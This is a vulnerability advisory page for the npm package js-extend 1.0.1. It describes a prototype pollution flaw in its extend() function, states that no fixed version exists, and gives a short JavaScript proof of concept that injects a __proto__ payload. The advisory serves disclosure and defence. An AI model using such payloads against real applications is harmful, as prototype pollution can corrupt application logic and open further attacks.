org.webjars.npm:js-extend@1.0.1

  • latest version

    1.0.1

  • first published

    10 years ago

  • latest version published

    10 years ago

  • licenses detected

  • package registry

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:js-extend package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    org.webjars.npm:js-extend is a Simple extend function based on underscore.

    Affected versions of this package are vulnerable to Prototype Pollution via the extend() function.

    PoC

    var jsExtend = require("js-extend")
    var obj = {}
    var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
    console.log("Before: " + {}.polluted);
    jsExtend.extend({}, JSON.parse(malicious_payload));
    console.log("After : " + {}.polluted);
    

    How to fix Prototype Pollution?

    There is no fixed version for org.webjars.npm:js-extend.

    [0,)